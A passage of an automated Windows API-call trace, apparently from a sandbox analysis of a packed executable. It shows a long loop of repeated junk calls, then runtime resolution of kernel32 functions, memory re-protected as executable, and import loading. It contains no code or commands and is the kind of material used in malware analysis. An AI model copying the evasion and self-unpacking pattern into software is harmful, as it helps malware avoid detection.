(lpString=0x0) returned 0x0 [0051.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.315] AddAtomA (lpString=0x0) returned 0x0 [0051.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.315] AddAtomA (lpString=0x0) returned 0x0 [0051.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.315] AddAtomA (lpString=0x0) returned 0x0 [0051.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.315] AddAtomA (lpString=0x0) returned 0x0 [0051.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.316] AddAtomA (lpString=0x0) returned 0x0 [0051.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.316] AddAtomA (lpString=0x0) returned 0x0 [0051.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.316] AddAtomA (lpString=0x0) returned 0x0 [0051.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.316] AddAtomA (lpString=0x0) returned 0x0 [0051.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.316] AddAtomA (lpString=0x0) returned 0x0 [0051.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.316] AddAtomA (lpString=0x0) returned 0x0 [0051.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.316] AddAtomA (lpString=0x0) returned 0x0 [0051.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.316] AddAtomA (lpString=0x0) returned 0x0 [0051.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.316] AddAtomA (lpString=0x0) returned 0x0 [0051.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.316] AddAtomA (lpString=0x0) returned 0x0 [0051.316] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.316] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.316] AddAtomA (lpString=0x0) returned 0x0 [0051.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.317] AddAtomA (lpString=0x0) returned 0x0 [0051.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.317] AddAtomA (lpString=0x0) returned 0x0 [0051.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.317] AddAtomA (lpString=0x0) returned 0x0 [0051.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.317] AddAtomA (lpString=0x0) returned 0x0 [0051.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.317] AddAtomA (lpString=0x0) returned 0x0 [0051.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.317] AddAtomA (lpString=0x0) returned 0x0 [0051.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.317] AddAtomA (lpString=0x0) returned 0x0 [0051.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.317] AddAtomA (lpString=0x0) returned 0x0 [0051.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.317] AddAtomA (lpString=0x0) returned 0x0 [0051.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.317] AddAtomA (lpString=0x0) returned 0x0 [0051.317] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.317] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.317] AddAtomA (lpString=0x0) returned 0x0 [0051.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.318] AddAtomA (lpString=0x0) returned 0x0 [0051.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.318] AddAtomA (lpString=0x0) returned 0x0 [0051.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.318] AddAtomA (lpString=0x0) returned 0x0 [0051.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.318] AddAtomA (lpString=0x0) returned 0x0 [0051.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.318] AddAtomA (lpString=0x0) returned 0x0 [0051.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.318] AddAtomA (lpString=0x0) returned 0x0 [0051.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.318] AddAtomA (lpString=0x0) returned 0x0 [0051.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.318] AddAtomA (lpString=0x0) returned 0x0 [0051.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.318] AddAtomA (lpString=0x0) returned 0x0 [0051.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.318] AddAtomA (lpString=0x0) returned 0x0 [0051.318] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.318] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.318] AddAtomA (lpString=0x0) returned 0x0 [0051.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.319] AddAtomA (lpString=0x0) returned 0x0 [0051.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.319] AddAtomA (lpString=0x0) returned 0x0 [0051.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.319] AddAtomA (lpString=0x0) returned 0x0 [0051.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.319] AddAtomA (lpString=0x0) returned 0x0 [0051.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.319] AddAtomA (lpString=0x0) returned 0x0 [0051.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.319] AddAtomA (lpString=0x0) returned 0x0 [0051.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.319] AddAtomA (lpString=0x0) returned 0x0 [0051.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.319] AddAtomA (lpString=0x0) returned 0x0 [0051.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.319] AddAtomA (lpString=0x0) returned 0x0 [0051.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.319] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.319] AddAtomA (lpString=0x0) returned 0x0 [0051.319] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.320] AddAtomA (lpString=0x0) returned 0x0 [0051.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.320] AddAtomA (lpString=0x0) returned 0x0 [0051.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.320] AddAtomA (lpString=0x0) returned 0x0 [0051.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.320] AddAtomA (lpString=0x0) returned 0x0 [0051.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.320] AddAtomA (lpString=0x0) returned 0x0 [0051.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.320] AddAtomA (lpString=0x0) returned 0x0 [0051.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.320] AddAtomA (lpString=0x0) returned 0x0 [0051.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.320] AddAtomA (lpString=0x0) returned 0x0 [0051.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.340] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0051.340] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0051.340] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0051.340] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0051.340] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0051.340] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0051.340] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0051.340] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0051.340] SetErrorMode (uMode=0x400) returned 0x0 [0051.340] SetErrorMode (uMode=0x0) returned 0x400 [0051.340] GetVersionExA (in: lpVersionInformation=0x18d520*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18d520*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0051.340] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b0000 [0051.342] VirtualProtect (in: lpAddress=0x400000, dwSize=0x23000, flNewProtect=0x40, lpflOldProtect=0x18e5a8 | out: lpflOldProtect=0x18e5a8*=0x2) returned 1 [0051.874] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.874] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0051.875] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0051.875] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0051.946] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0051.946] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0051.946] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0051.946] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0051.946] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0051.946] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0051.946] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0051.946] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0051.946] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0051.947] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0051.948] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0051.949] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0051.950] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0051.950] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0051.950] GetProcAddress (hModule=0x74f40000, lpProcName="GetDesktopWindow") returned 0x74f60a19 [0051.950] GetProcAddress (hModule=0x74f40000, lpProcName="InvalidateRect") returned 0x74f61381 [0051.950] GetProcAddress (hModule=0x74f40000, lpProcName="wsprintfW") returned 0x74f7e061 [0051.950] GetProcAddress (hModule=0x74f40000, lpProcName="DrawIcon") returned 0x74f68deb [0051.950] GetProcAddress (hModule=0x74f40000, lpProcName="FillRect") returned 0x74f60eb6 [0051.950] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="GetDlgItem") returned 0x74f7f1ba [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="EndPaint") returned 0x74f61341 [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="BeginPaint") returned 0x74f61361 [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="DialogBoxParamW") returned 0x74f7cfca [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="MoveWindow") returned 0x74f63698 [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="GetClientRect") returned 0x74f60c62 [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="CreateDialogParamW") returned 0x74f810dc [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="SetWindowPos") returned 0x74f58e4e [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0051.951] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0051.952] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0051.952] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0051.952] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0051.952] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateAcceleratorW") returned 0x74f61246 [0051.952] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0051.952] GetProcAddress (hModule=0x74f40000, lpProcName="LoadAcceleratorsW") returned 0x74f64dd6 [0051.952] GetProcAddress (hModule=0x74f40000, lpProcName="LoadStringW") returned 0x74f58eb9 [0051.952] GetProcAddress (hModule=0x74f40000, lpProcName="LoadIconW") returned 0x74f5b142 [0051.952] GetProcAddress (hModule=0x74f40000, lpProcName="GetMonitorInfoW") returned 0x74f63000 [0051.952] GetProcAddress (hModule=0x74f40000, lpProcName="MonitorFromWindow") returned 0x74f63150 [0051.952] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75ad0000 [0051.952] GetProcAddress (hModule=0x75ad0000, lpProcName="TextOutW") returned 0x75aed41c [0051.952] GetProcAddress (hModule=0x75ad0000, lpProcName="SetBkMode") returned 0x75ae51a2 [0051.952] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectObject") returned 0x75ae4f70 [0051.952] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateFontW") returned 0x75aeb600 [0051.952] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteObject") returned 0x75ae5689 [0051.953] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateSolidBrush") returned 0x75ae4f17 [0051.953] GetProcAddress (hModule=0x75ad0000, lpProcName="SetTextAlign") returned 0x75ae8401 [0051.953] LoadLibraryA (lpLibFileName="COMCTL32.dll") returned 0x74820000 [0052.011] GetProcAddress (hModule=0x74820000, lpProcName="InitCommonControlsEx") returned 0x748409ce [0052.011] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74af0000 [0052.012] GetProcAddress (hModule=0x74af0000, lpProcName="timeGetTime") returned 0x74af26e0 [0052.012] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0052.015] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0052.015] atexit (param_1=0x2463c8) returned 0 [0052.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e5ac | out: lpSystemTimeAsFileTime=0x18e5ac*(dwLowDateTime=0xab735dd0, dwHighDateTime=0x1d53993)) [0052.015] GetCurrentThreadId () returned 0xb20 [0052.015] GetCurrentProcessId () returned 0xb1c [0052.015] QueryPerformanceCounter (in: lpPerformanceCount=0x18e5a4 | out: lpPerformanceCount=0x18e5a4*=17227788660) returned 1 [0052.015] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0052.015] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.015] GetLastError () returned 0x57 [0052.015] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.015] GetLastError () returned 0x57 [0052.015] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0052.016] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0052.016] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.016] GetLastError () returned 0x57 [0052.016] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0052.016] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0052.016] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.016] GetLastError () returned 0x57 [0052.016] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.016] GetLastError () returned 0x57 [0052.016] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0052.016] GetProcAddress 